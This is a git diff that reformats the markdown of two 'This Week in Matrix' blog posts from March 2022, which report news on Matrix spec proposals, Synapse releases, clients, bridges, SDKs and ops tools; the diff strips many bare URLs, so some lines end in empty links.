[notice](https://matrix.to/#/!XXSJTvRPInupfUgQVb:matrix.org/$SM5oKCPu1OYu1uVhn73YMUcJ4kBaQZEp_Z9Xx4EZUgQ?via=pixie.town&via=matrix.org&via=element.io) on the subject has been posted today in the [Matrix Client Developers room](https://matrix.to/#/#matrix-client-developers:matrix.org). -> +> > A reminder that the matrix-doc GitHub repository has been split into two new repositories: [matrix-spec](https://github.com/matrix-org/matrix-spec) and [matrix-spec-proposals](https://github.com/matrix-org/matrix-spec-proposals). Read more about this in [the last edition of TWIM](https://matrix.org/blog/category/this-week-in-matrix#msc-status). -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC2398: proposal to allow mxc:// in the "a" tag within messages](https://github.com/matrix-org/matrix-spec-proposals/pull/2398)! -> +> > This MSC makes the case for allowing linking to MXC content by using of an `` tag in the HTML-formatted `formatted_body` field of a `m.room.message`. As MXC urls could contain HTML files, it could be rather useful to link directly to them, as you would any other webpage. Your client would then translate this to an http/s URL which can be used to view/navigate to the file. -> +> +> > ![](/blog/img/6072535e3476a21ec05c19ca6d233b377ac68adc.png) ## Dept of Servers 🏢 @@ -61,7 +66,7 @@ Synapse is the reference homeserver for Matrix [Brendan Abolivier](https://matrix.to/#/@babolivier:element.io) reports > We've released Synapse 1.54! It includes quite a lot of nice improvements, including around URL previewing, and new callbacks for third-party modules. Check out the [release announcement](https://matrix.org/blog/2022/03/08/synapse-1-54-released) for more info on all this goodness. -> +> > We've also landed more of the ground work to improve the time it takes for new servers to join big rooms, which Rich was talking about last week. Aside from this, we're continuing the effort towards switching Synapse to use [Poetry](https://python-poetry.org/), which will enable reproducible builds for Synapse. These are some very exciting projects which will be maturing in the coming weeks, so watch this space! ## Homeserver Deployment 📥️ @@ -83,16 +88,16 @@ A Matrix-KakaoTalk puppeting bridge. [Fair](https://matrix.to/#/@fair:miscworks.net) announces > The basics of the bridge are now ready! Backfilling, message sending, and message receiving are now implemented...albeit quite buggy and untested. -> +> > For anyone curious to try it out, installation follows the same general steps as [tulir's Python-based mautrix bridges](https://docs.mau.fi/bridges/python/setup/index.html), plus a backend Node module that must be launched before the Python component of the bridge. I'll write a README with proper setup instructions soon! -> +> > Just note that for the time being, *updates to the bridge may invalidate its database!!*. I won't guarantee stable DB upgrades until the bridge's early growing pains have settled down. -> +> > Reminder that my KakaoTalk ID is `fair-mw` if anyone wants to help me test things out 🙂 -> +> > --- > Discussion: [#matrix-appservice-kakaotalk:miscworks.net](https://matrix.to/#/#matrix-appservice-kakaotalk:miscworks.net) -> Issue page: https://src.miscworks.net/fair/matrix-appservice-kakaotalk/issues +> Issue page: ## Dept of Clients 📱 @@ -103,20 +108,22 @@ Minimal Android messenger powered by Matrix [adam](https://matrix.to/#/@ouchadam:matrix.org) reports > 👋 I'm happy to finally reveal the side project I've been working on - [SmallTalk](https://github.com/ouchadam/small-talk), a tiny native android matrix client focused on chatting with family and friends! -> +> > I've been wondering, how small can you make a functional native android matrix client? So far 1.7mb! (\*when served from an app bundle) -> -> ##### Features -> +> +> #### Features +> > * E2E encryption (including importing Element E2E keys) > * Merged room and DM list > * Message bubbles > * Push notifications -> +> > Currently in closed beta whilst ironing bugs, improving error handling and adding basic features like accepting invites, however apks are available on github for eager testers! -> +> +> > ![](/blog/img/QIEEHXkzmUsptgSFVuUNSNsr.webp) -> +> +> > ![](/blog/img/uvKvljRwwxPGcKaXuFSpZrVX.webp) ### Nheko ([website](https://nheko-reborn.github.io)) @@ -126,21 +133,21 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) says > I am happy to present you a new release with the cute name 0.9.2! -> +> > Apart from losts of bugfixes, expect the following: -> +> > ### Highlights -> +> > * Message bubbles (Malte E) 💬 -> - Give a colorful and space saving background to messages. -> - Optionally shrink the usernames to save even more space. -> - Your messages are on the opposite side of messages sent by other users. +> * Give a colorful and space saving background to messages. +> * Optionally shrink the usernames to save even more space. +> * Your messages are on the opposite side of messages sent by other users. > * Basic widgets 🗔 -> - Widgets in a room are shown below the topic. -> - Open them in your browser to view them. -> +> * Widgets in a room are shown below the topic. +> * Open them in your browser to view them. +> > ### Features -> +> > * Autocompleter for custom emotes using `~`. Note that this currently inserts raw html into the message input. > * Support running Nheko without a secrets service using a hidden setting. > * Add zooming and panning to the image overlay. @@ -153,9 +160,9 @@ Desktop client for Matrix using Qt and C++17. > * Open room members dialog when clicking the encryption indicator. > * Click to copy room id. (Malte E) > * Allow specifying a reason for message removal, bans and kicks. (tastytea) -> +> > ### Improvements -> +> > * Speed up blurhash and jdenticon rendering. > * Use fewer threads for image decoding reducing memory use. > * Document secret service installation on Arch. (Marshall Lochbaum) @@ -188,7 +195,7 @@ Desktop client for Matrix using Qt and C++17. > * Improve long topics in the room settings. (Malte E) > * Fix typos. (ISSOtm) > * Improve the message input on mobile devices. (Malte E) -> +> > I hope this one works for you and we didn't break too much stuff and thanks a lot to everyone who contributed! ### Element ([website](https://element.io)) @@ -198,16 +205,18 @@ Everything related to Element but not strictly bound to a client [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) announces > Welcome back to another week at Element! -> +> > **Message Threads** +> > * Our [MSC 3440](https://github.com/matrix-org/matrix-spec-proposals/pull/3440) completed its final comment period this week which is a super exciting move forwards for our team! We are now using a stable prefix and server-side support for Threads so the whole experience should be much better. > * The team is hard at work fixing bugs so that we can launch with as much confidence in our solution as possible. > * If you’ve been using Threads whilst in Labs, please keep giving feedback and raising any issues you may find. -> +> > **Community testing** +> > * Join [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) to help out with the testing > * Coming up this week: -> - Spaces on iOS: Tuesday, 15th Mar at 16:00 UTC / 17:00 CET +> * Spaces on iOS: Tuesday, 15th Mar at 16:00 UTC / 17:00 CET ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -216,10 +225,11 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) says > * On Web we’re focussed on improving the app and fighting bugs; -> - This week we are seeing fewer reports of decryption errors! -> - On Develop, you should no longer find that editing messages messes with their formatting. -> +> * This week we are seeing fewer reports of decryption errors! +> * On Develop, you should no longer find that editing messages messes with their formatting. +> > In labs (you can enable labs in settings on develop.element.io or on Nightly) +> > * Pinned messages are getting some attention in Labs. Keep providing feedback for us! ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -250,21 +260,22 @@ Cinny is a Matrix client focused on simplicity, elegance and security [Lozenge](https://matrix.to/#/@kfiven:matrix.org) reports > *Namaste* 🙏, -> +> > We are happy to announce that Cinny now support **all the features of Spaces** — *a way to group rooms in Matrix*. This means that you can now create new spaces from client, add rooms or subspaces inside them or manage the added rooms. > We have also made our unique feature of **Pinning spaces** to sidebar more easy and organized. With this option all the spaces and subspaces will be visible at one place and you can select the one you want to pin or remove. > One more unique feature we added with update is the **Categorized subspaces**, what this do is make all the subspaces inside a space appear as categories. This is helpful when there are deep nested spaces inside a space and breadcrumb is pain to navigate back and fourth. Keep in mind that this ignore the nesting of subspaces and all of them will appear under mainspace, but nice thing is that you can select which subspace you want to categorized and which not. > Another exciting update related to spaces is the *Drag-and-Drop*. Earlier there was no option to reorder pinned spaces but now with DnD you can reorder them as you like. -> +> > Apart from spaces this update also include option to drag and drop files, ||sending spoiler||, desktop notification and viewing event source. (Thanks to @ginnyTheCat for these amazing additions.) -> -> Full changelog is available at: https://github.com/ajbura/cinny/releases/tag/v1.8.0 -> -> Find more about Cinny at https://cinny.in -> Join our channel at: https://matrix.to/#/#cinny:matrix.org -> Github: https://github.com/ajbura/cinny -> Twitter: https://twitter.com/@cinnyapp -> +> +> Full changelog is available at: +> +> Find more about Cinny at +> Join our channel at: +> Github: +> Twitter: +> +> > ![](/blog/img/UjAGMcRnHkHgJKNvHHSidIQr.png) ## Dept of Non Chat Clients 🎛️ @@ -276,23 +287,23 @@ A Social Annotation Tool Powered by Matrix [gleachkr](https://matrix.to/#/@gleachkr:matrix.org) announces > In the last two weeks we've made some UX improvements: -> +> > 1. The PDF viewer now has nicer tooltips > 2. The width of sidepanels is now adjustable > 3. Searchbars now have hints to help find the keyboard shortcut > 4. Error messages are now displayed more uniformly > 5. Populus-viewer now has an icon > 6. Failed messages are now indicated, with the option to resend -> +> > Fixed some bugs: -> +> > 1. room avatars should now update more quickly > 2. highlights should always display immediately after joining a new discussion -> +> > And added a service worker, for a better offline experience. -> +> > Finally, we've opened a new draft MSC (just a stub at the moment) to create a format for annotations on text documents. So... matrix annotations as a vim plugin? The future is bright 😎 -> +> > As always, if you're interested in this work, or in the future of annotation and scholarship on matrix, come join us at [#opentower:matrix.org](https://matrix.to/#/#opentower:matrix.org). ### matrix-streamchat ([website](https://git.pixie.town/f0x/matrix-streamchat)) @@ -302,8 +313,9 @@ Matrix powered stream overlay for OBS, to integrate live chat in your favorite ( [f0x](https://matrix.to/#/@f0x:pixie.town) announces > Matrix Streamchat got it's first alpha release, and was successfully set up + used by someone else this week -> Recorded a little demo video on the setup with OBS: https://youtu.be/HmJ3XwJXB7I, and implemented the GUI for configuring the chat's settings and looks, to then copy the link into an iframe (embedded chat) or OBS (overlay). -> +> Recorded a little demo video on the setup with OBS: , and implemented the GUI for configuring the chat's settings and looks, to then copy the link into an iframe (embedded chat) or OBS (overlay). +> +> > ![](/blog/img/2022-03-11-streamchat.png) ### Gatho ([website](https://gatho.party)) @@ -313,27 +325,29 @@ Invite friends to your event with a one-click RSVP link - no matter which chat/s [Jake C](https://matrix.to/#/@jake:matrix.gatho.party) reports > [Gatho.party](https://gatho.party/) is a replacement for Facebook Events for small social gatherings. I've used it for a number of parties and received great feedback, and I'm seeing others are starting to use it too 🎉 -> +> > To receive confirmations of attendance you can either: +> > * Use the included Matrix bot to automatically sync RSVP emoji reactions in a linked Matrix room (great > for your friends on Matrix or in a bridged Signal chat) > * Send a unique one-click RSVP links to you friends without Matrix (eg. Instagram DMs, SMS) > * And as of this week, guests can "self serve" and add their own RSVP via the unique event link, so you can just drop the event link in a Facebook Messenger chat or iMessage group > (without email or phone verification at the moment, so hosts will need to moderate if > their guests go rogue and add multiple fake names!) -> +> > Other recent improvements are: +> > * Ability to delete guests > * Improved call to action and copy text for when a guest with a "magic" link is prompted to RSVP > * Confetti animations when your guests RSVP via the Gatho website as "Going" -> +> > I'm currently testing an experimental chat embed using Matrix Live so your guests not on Matrix can optionally see your linked Matrix room - I've found some of my friends join Matrix after seeing this so they can join the action! -> +> > I'm keen to eventually use Cactus Comments once I figure out a bit of Elm and have more spare time so that non-Matrix guests can post too. -> +> > The Gatho website and bot is [open source (AGPL-3.0) on Github](https://github.com/gatho-party/gatho-website), PRs and Github issues are very welcome! It's built using Next.js in Typescript. -> -> I'd love to hear your feedback! Join the Matrix room at https://matrix.to/#/#gatho-events:matrix.gatho.party +> +> I'd love to hear your feedback! Join the Matrix room at ## Dept of SDKs and Frameworks 🧰 @@ -344,10 +358,10 @@ Elixir libraries related to the Matrix communications protocol. [uhoreg](https://matrix.to/#/@hubert:uhoreg.ca) says > [Polyjuice Client Test](https://gitlab.com/polyjuice/polyjuice_client_test) is a tool for testing Matrix clients by creating a predefined environment for each test. Since the last time it was mentioned in TWIM, -> +> > * more tests have been added: a test for basic end-to-end encryption message sending and receiving, symmetric key backup (MSC3270), and key withheld codes (MSC2399). More tests (and improvements to existing tests) to come. > * the UI has improved a bit. Sorry, it's still ugly, but slightly less so. Also, now you can search through the tests. -> * I am now running a publicly-accessible instance of it at https://test.uhoreg.ca/ so you can test your clients without having to set it up yourself. This instance is stable-ish, in that it should always be available, but may be restarted randomly, in which case you may need to re-start your tests. +> * I am now running a publicly-accessible instance of it at so you can test your clients without having to set it up yourself. This instance is stable-ish, in that it should always be available, but may be restarted randomly, in which case you may need to re-start your tests. ## Dept of Ops 🛠 @@ -358,33 +372,35 @@ Synapse Maintenance Container – Docker container with tools for synapse & post [saces](https://matrix.to/#/@saces:c-base.org) announces > Synapse Maintenance Container – Docker container with tools for synapse & postgres database maintenance -> +> > New since v0.1.0: -> - added arm64 support -> - improved output of purge_history.sh -> +> +> * added arm64 support +> * improved output of purge_history.sh +> > Start it without command and let it do its magic :) -> +> > What it does by default: +> > * daily: -> - purge all rooms without local members -> - run the state autocompressor (small setting 500/100) +> * purge all rooms without local members +> * run the state autocompressor (small setting 500/100) > * weekly: -> - delete old remote media (>90 days) -> - delete old message history from public joinable rooms (>180 days) +> * delete old remote media (>90 days) +> * delete old message history from public joinable rooms (>180 days) > * monthly: -> - run the state autocompressor (big setting 1500/300) -> - vacuum the database -> -> Source: https://gitlab.com/mb-saces/synatainer -> +> * run the state autocompressor (big setting 1500/300) +> * vacuum the database +> +> Source: +> > Room: [#synatainer:c-base.org](https://matrix.to/#/#synatainer:c-base.org) -> -> Compose example: https://gitlab.com/mb-saces/synatainer/-/snippets/2264828 -> -> *** -> -> If you are looking for a docker container with just the auto compressor for linux amd64/arm64 in it, her you go: https://gitlab.com/mb-saces/rust-synapse-compress-state +> +> Compose example: +> +> --- +> +> If you are looking for a docker container with just the auto compressor for linux amd64/arm64 in it, her you go: ## Dept of Interesting Projects 🛰️ @@ -393,8 +409,8 @@ Synapse Maintenance Container – Docker container with tools for synapse & post [unonde](https://matrix.to/#/@unonde:matrix.org) says > hello! wanted to show a small matrix web client made with unminified js/html/css & web components (wip++) -> https://libli.org/ -> https://gitlab.com/sctlib/libli + https://gitlab.com/sctlib/matrix-room-element +> +> + > looking forward feedback comments or anything, > cheers & viva la matrix! > @@ -411,7 +427,7 @@ Synapse Maintenance Container – Docker container with tools for synapse & post [JulianF](https://matrix.to/#/@julian:foad.me.uk) reports > Following Element's recent announcement of location sharing with support for self-hosted map tile server, I went ahead and set up one, and have written a blog post about it, explaining how to go a little further than the currently published guide, and with Ansible scripts included. -> *> https://wrily.foad.me.uk/self-host-a-matrix-map-server +> *> ### Extensible Events @@ -424,6 +440,7 @@ Synapse Maintenance Container – Docker container with tools for synapse & post Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -440,6 +457,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|matrix.infra.reflect-media.de|1160| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/03/2022-03-18-this-week-in-matrix-2022-03-18.md b/content/blog/2022/03/2022-03-18-this-week-in-matrix-2022-03-18.md index bd66aea8d..4871a32af 100644 --- a/content/blog/2022/03/2022-03-18-this-week-in-matrix-2022-03-18.md +++ b/content/blog/2022/03/2022-03-18-this-week-in-matrix-2022-03-18.md @@ -22,22 +22,27 @@ This week my guest is Adam who created the minimalistic Android client your fami [TravisR](https://matrix.to/#/@travis:t2l.io) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **Merged MSCs:** +> > * *No MSCs were merged this week.* -> +> > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* -> +> > **New MSCs:** +> > * [MSC3754: Removing profile information](https://github.com/matrix-org/matrix-spec-proposals/pull/3754) -> +> > ## Spec Core Team +> > In terms of Spec Core Team MSC focus for this week, we've mostly been working on our existing projects. Unfortunately this means little to report this week, but if there's something that needs out attention then please mention it in [#sct-office:matrix.org](https://matrix.to/#/#sct-office:matrix.org) 🙂 +> > ![](/blog/img/6b8ff6a623f36257ce9a6ff76060036f894f8d6b.png) ## Dept of P2P 👥 @@ -49,9 +54,10 @@ Peer-to-peer overlay routing for the Matrix ecosystem [neilalexander](https://matrix.to/#/@neilalexander:matrix.org) reports > Things have been relatively quiet on the P2P front recently as we have been working on fixing bugs in Dendrite, but we will be releasing build 94 of the P2P demos for iOS and for Android soon, which feature new fair queuing in Pinecone. This should help to reduce congestion from single nodes. It also includes all of the latest Dendrite updates. -> * Android: https://drive.google.com/drive/folders/1uK_BcHGiAYHkN6OAA7P73obAquwShRg5 -> * iOS: https://testflight.apple.com/join/Tgh2MEk6 -> +> +> * Android: +> * iOS: +> > The demos are still very rough around the edges — join us in [#p2p:matrix.org](https://matrix.to/#/#p2p:matrix.org) for discussion! ## Dept of Servers 🏢 @@ -63,22 +69,24 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [dmr](https://matrix.to/#/@dmrobertson:matrix.org) says > Hello everyone. It's been a quieter week for the Synapse team---many of us are away this week. -> +> > We released [Synapse 1.55.0rc1](https://github.com/matrix-org/synapse/releases/tag/v1.55.0rc1) yesterday, a little later than usual. A full release is still planned for the coming Tuesday (22nd March). Please note that this release [breaks compatibility with Mjolnir 1.3.1 and earlier](https://github.com/matrix-org/synapse/pull/11700). Administrators using Mjolnir should ensure it is upgraded before upgrading Synapse to 1.55.0rc1. -> +> > Otherwise, the release candidate includes: +> > * [New tools in the module API](https://github.com/matrix-org/synapse/issues/12028) enabling modules to prevent administrators from deleting rooms and deactivating users. Half-Shot [explains the movtivation here](https://github.com/matrix-org/synapse/issues/12026). > * Experimental support for [using Twisted's asyncio reactor](https://github.com/matrix-org/synapse/issues/12135). If this is feasible, it might allow us to leverage tools and libraries for Python's growing [asyncio](https://docs.python.org/3/library/asyncio.html?highlight=asyncio#module-asyncio) ecosystem. > * A performance fix for [logging in on large accounts](https://github.com/matrix-org/synapse/issues/12132). > * A variety of other bugfixes and internal tweaks. -> +> > Please feel free to try it out and let us know how you get on: either in the [#synapse:matrix.org](https://matrix.to/#/#synapse:matrix.org) or [on GitHub](https://github.com/matrix-org/synapse/issues/new/choose) if you encounter any unexplained problems. As ever, many thanks to all contributors involved. -> +> > Behind the scenes we've been working on a few longer-term projects: +> > * Continued support for threading ([MSC3440](https://github.com/matrix-org/matrix-spec-proposals/pull/3440)) and the mechanism which supports it, relations ([MSC2674](https://github.com/matrix-org/matrix-spec-proposals/pull/2674)). > * [Managing Synapse's dependencies](https://github.com/matrix-org/synapse/issues/11537) using [poetry](https://github.com/matrix-org/synapse/issues/12028) to formally lock requirements across all our debian and docker releases. > * Performance investigations: we're looking at getting better profiling information; and seeing if we can reclaim CPU cycles by cancelling processing when a requester terminates their request early. -> +> > Hopefully we'll see these plans come to fruition over the coming weeks. ## Dept of Bridges 🌉 @@ -90,18 +98,18 @@ A Matrix-KakaoTalk puppeting bridge. [Fair](https://matrix.to/#/@fair:miscworks.net) says > This week brings some bugfixes to DMs, and general improvements to the way channels are synced on startup. -> +> > I've also written some [setup instructions](https://src.miscworks.net/fair/matrix-appservice-kakaotalk/src/branch/master/SETUP.md) to assist anyone wanting to try this bridge out for themselves! -> +> > As for bugs, I just stumbled upon a big one just now: if a KakaoTalk channel hasn't had activity for a few days, sending a message in its Matrix portal may crash. This happens because of the KakaoTalk API's apparent eagerness in forgetting about inactive channels (IIRC content that's a few weeks old is deleted from their servers, for privacy reasons), and the likely fix is for the bridge to use the right API calls to trigger those channels back into an active state before trying to interact with them. -> +> > Once that's fixed, the next thing I'll get out of the way (for the sake of completeness) is the web-based login interface, which all of the other mautrix-python bridges support (and is quite nice for privacy-conscious users that would rather send their KakaoTalk passwords directly to the bridge, instead of through a Matrix homeserver). -> +> > After that, I'll work on contact searching & inviting contacts to group chats or DMs. -> +> > --- > Discussion: [#matrix-appservice-kakaotalk:miscworks.net](https://matrix.to/#/#matrix-appservice-kakaotalk:miscworks.net) -> Issue page: https://src.miscworks.net/fair/matrix-appservice-kakaotalk/issues +> Issue page: ## Dept of Clients 📱 @@ -111,8 +119,8 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) announces -> After our release last week, of course all the bugreports came out of the woodworks. As such we fixed issues with device ids being set incorrectly after SSO, screensharing, overlapping in the reply popup and UIA flows without fallback support like https://github.com/devture/matrix-synapse-shared-secret-auth showing up as UIA stages. Key backup is also now enabled by default (if it has the correct signatures and everything), various layouting fixes and more. -> +> After our release last week, of course all the bugreports came out of the woodworks. As such we fixed issues with device ids being set incorrectly after SSO, screensharing, overlapping in the reply popup and UIA flows without fallback support like showing up as UIA stages. Key backup is also now enabled by default (if it has the correct signatures and everything), various layouting fixes and more. +> > We'll probably make a bugfix release in the next few days. ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -122,12 +130,13 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Kegan](https://matrix.to/#/@kegan:matrix.org) announces > I have been working on integrating MSC3575: Sliding Sync into Element-Web. This is a pretty large endeavour but there has been a lot of progress on it already! -> +> > There now exists a [JS-SDK PR](https://github.com/matrix-org/matrix-js-sdk/pull/2242) to add the core bits of Sliding Sync (along with E2EE/to-device extensions), and a [React-SDK branch](https://github.com/matrix-org/matrix-react-sdk/tree/kegan/sliding-sync) which adds the Labs flag, `config.json` section for the proxy URL, and sets up room subscriptions when you select a room. The net result? -> +> +> > ![](/blog/img/ZLWTIMcqEUqPHCTKNQVrHqsb.png) -> -> This is still early days: you cannot scroll the room list yet and there's still many outstanding issues to fix before it can land on mainline, but it's at the stage where it's _almost_ ready for people to try out. Watch this space... +> +> This is still early days: you cannot scroll the room list yet and there's still many outstanding issues to fix before it can land on mainline, but it's at the stage where it's *almost* ready for people to try out. Watch this space... [Thib](https://matrix.to/#/@thib:ergaster.org) reports @@ -136,9 +145,9 @@ Secure and independent communication, connected via Matrix. Come talk with us in > * Continuing development of live location sharing. > * We’ve reduced tsc errors by 70% in react-sdk unit tests! > * In labs (you can enable labs in settings on develop.element.io or on Nightly) -> -> - We're working on a prototype for voice rooms, which are persistent voice chats similar to Discord's voice channel feature. Expect this to receive more attention and polish over the coming weeks -> - Threads are now using the stable prefix m.thread and are currently undergoing acceptance testing. We’re hoping to launch it out of labs in the next few weeks. +> +> * We're working on a prototype for voice rooms, which are persistent voice chats similar to Discord's voice channel feature. Expect this to receive more attention and polish over the coming weeks +> * Threads are now using the stable prefix m.thread and are currently undergoing acceptance testing. We’re hoping to launch it out of labs in the next few weeks. ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -157,6 +166,7 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi > * We’re currently at the last mile of testing for space creation & space management on iOS. Thanks to everyone who helped with community testing last week! > * We’re currently on track to merge and ship these changes at the end of this month. > * Once released, Element on all platforms will have parity across the core spaces feature set! +> > ![](/blog/img/YqsLvRCBucWAASCcyvhrslZV.png) ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -166,9 +176,9 @@ Secure and independent communication for Android, connected via Matrix. Come tal [adam](https://matrix.to/#/@ouchadam:matrix.org) announces > * 1.4.4 has dropped across all channels, we've had some promising early feedback that the storage/RAM usage is starting to decrease, as always thanks for the reports and keep them coming! Full release notes available in [the usual place](https://github.com/vector-im/element-android/releases/tag/v1.4.4) -> +> > * Threads are levelling up and becoming driven by [MSC3440](https://github.com/matrix-org/matrix-spec-proposals/blob/gsouquet/threading-via-relations/proposals/3440-threading-via-relations.md#fetch-all-replies-to-a-thread), increasing their reliability and cross device consistency. If you're already using threads we'll automatically migrate them for you in the next release 1.4.6 -> +> > * Live location sharing work has started! Soon you'll be able to share and receive location updates in real time ### Cinny ([website](https://cinny.in)) @@ -178,9 +188,9 @@ Cinny is a Matrix client focused on simplicity, elegance and security [Lozenge](https://matrix.to/#/@kfiven:matrix.org) reports > ## v1.8.1 & v1.8.2 -> -> ### Bug fixes: -> +> +> ### Bug fixes +> > * Fix new messages don't appear > * Fix pressing a key with an active highlight jumps in history > * Fix not all emoji-only messages being detected as Jumbo-emoji @@ -189,13 +199,13 @@ Cinny is a Matrix client focused on simplicity, elegance and security > * Fix wrong notification count and `NaN` notification > * Fix `⌘ CMD + k` hotkey not working MacOS > * Fix sending message not mark room as read -> -> Release: https://github.com/ajbura/cinny/releases/tag/v1.8.2 -> +> +> Release: +> > Find more about Cinny at [https://cinny.in](https://cinny.in/) > Join our channel at: [#cinny:matrix.org](https://matrix.to/#/#cinny:matrix.org) -> Github: https://github.com/ajbura/cinny -> Twitter: https://twitter.com/@cinnyapp +> Github: +> Twitter: ## Dept of Non Chat Clients 🎛️ @@ -206,13 +216,14 @@ A browser-based open metaverse client [Robert Long](https://matrix.to/#/@arobertlong:matrix.org) says > Our metaverse-on-matrix project is progressing quickly! -> +> > * Robert and Nate have been working on updating the Third Room demo to use the latest bitECS and threecs work as well as moving rendering and game update loops off the main thread! > * Bruno has been porting Native Group VoIP to Hydrogen SDK which Third Room will use for both spatial voice chat and DataChannels > * Ajay has a working scaffold of the early UI concepts paired with Hydrogen SDK to incorporate the room list and chat views. -> +> > More design work is happening as well, here's our latest from Rian > +> > ![](/blog/img/VndefERvOEyZjYgDyeonLwjO.png) ### Matrix Wrench ([website](https://gitlab.com/jaller94/matrix-wrench/)) @@ -222,10 +233,11 @@ Matrix Wrench is a web client to tweak Matrix rooms. [ChristianP](https://matrix.to/#/@christianp:vector.modular.im) says > ## v0.6.0 & v0.6.1 +> > Want to purge a space recursively? Matrix Wrench now has a button for that. It will try to fetch a list of all sub spaces and rooms and offer you to delete them via the Synapse Admin API. -> +> > Also, you can now knock on rooms and the room lists allow to navigate to a room page by clicking on a room ID. -> +> > Next up will likely be searchable lists for rooms and users as well as other usability and layout improvements. The goal is to have a nice-looking, stable v1.0 release for its anniversary on 13th June. I'm looking for help with design and documentation. ## Dept of SDKs and Frameworks 🧰 @@ -237,46 +249,25 @@ A set of Rust library crates for working with the Matrix protocol. Ruma’s appr [Jonas Platte](https://matrix.to/#/@jplatte:flipdot.org) says > Nothing user-facing changed last week, but this week: -> +> > * [@timokoesters] fixed some bugs in the state resolution code around [knocking (room version 7)](https://github.com/ruma/ruma/pull/979) and [restricted rooms (room version 8 / 9)](https://github.com/ruma/ruma/pull/851) > * [@zecakeh] added loads of primary extensible event types: -> * [`m.image`](https://github.com/ruma/ruma/pull/980) -> * [`m.video`](https://github.com/ruma/ruma/pull/986) -> * [`m.audio`](https://github.com/ruma/ruma/pull/991) -> * [`m.location`](https://github.com/ruma/ruma/pull/994) -> * [`m.voice`](https://github.com/ruma/ruma/pull/995) +> * [`m.image`](https://github.com/ruma/ruma/pull/980) +> * [`m.video`](https://github.com/ruma/ruma/pull/986) +> * [`m.audio`](https://github.com/ruma/ruma/pull/991) +> * [`m.location`](https://github.com/ruma/ruma/pull/994) +> * [`m.voice`](https://github.com/ruma/ruma/pull/995) > * [@ShadowJonathan] added support for the server-version endpoints for [the server-server API (MSC3723)](https://github.com/ruma/ruma/pull/895) and [the identity-service API (MSC2320)](https://github.com/ruma/ruma/pull/910) > * [@zecekeh] added support for [threads](https://github.com/ruma/ruma/pull/985) and [translatable text messages](https://github.com/ruma/ruma/pull/996) > * I ([@jplatte]) [moved the `prev_content` state event field into `unsigned`](https://github.com/ruma/ruma/pull/997) as per Matrix v1.2 > * [@zecakeh] cleaned up [the module structure for discovery-related endpoints](https://github.com/ruma/ruma/pull/981) -> -> -> [@iinuwa]: https://github.com/iinuwa -> [@DevinR528]: https://github.com/DevinR528 -> [@gnieto]: https://github.com/gnieto -> [@elegaanz]: https://github.com/elegaanz +> +> > [@poljar]: https://github.com/poljar -> [@auscompgeek]: https://github.com/auscompgeek -> [@lanker]: https://github.com/lanker -> [@V02460]: https://github.com/V02460 -> [@iinuwa]: https://github.com/iinuwa -> [@DevinR528]: https://github.com/DevinR528 -> [@tilosp]: https://github.com/tilosp -> [@NerdyPepper]: https://github.com/NerdyPepper -> [@jamtwister]: https://github.com/jamtwister -> [@florianjacob]: https://github.com/florianjacob -> [@jsparber]: https://github.com/jsparber -> [@unseddd]: https://github.com/unseddd -> [@PunitLodha]: https://github.com/PunitLodha > [@timokoesters]: https://github.com/timokoesters > [@zecakeh]: https://github.com/zecakeh -> [@Frinksy]: https://github.com/Frinksy -> [@louisdewar]: https://github.com/louisdewar -> [@abhikjain360]: https://github.com/abhikjain360 -> [@johannescpk]: https://github.com/johannescpk > [@jplatte]: https://github.com/jplatte > [@ShadowJonathan]: https://github.com/ShadowJonathan -> [@132ikl]: https://github.com/132ikl ### matrix-rust-sdk ([website](https://github.com/matrix-org/matrix-rust-sdk)) @@ -285,30 +276,27 @@ Matrix Client-Server SDK for Rust [Jonas Platte](https://matrix.to/#/@jplatte:flipdot.org) reports > In the last few weeks, -> +> > * [@gnunicorn] created [separate crates for the different storage backends](https://github.com/matrix-org/matrix-rust-sdk/pull/498) > * [@zecakeh] made it easier [to initialize those storage backends](https://github.com/matrix-org/matrix-rust-sdk/pull/498) > * I ([@jplatte]) created [a ClientBuilder to simplify client initialization](https://github.com/matrix-org/matrix-rust-sdk/pull/533) > * [@zecakeh] moved some functionality [into a new `Encryption` type](https://github.com/matrix-org/matrix-rust-sdk/pull/534) to improve the API structure > * I updated the SDK to [make use of Ruma's support for the `v3` endpoint paths on servers that support it](https://github.com/matrix-org/matrix-rust-sdk/pull/531) > * I improved [the quality of the SDKs logs](https://github.com/matrix-org/matrix-rust-sdk/pull/539) as part of some profiling experiments -> +> > Additionally, these things have been in progress for a while and deserve a mention as well even though they're not finished yet: -> +> > * [@gnunicorn] is working on [sliding 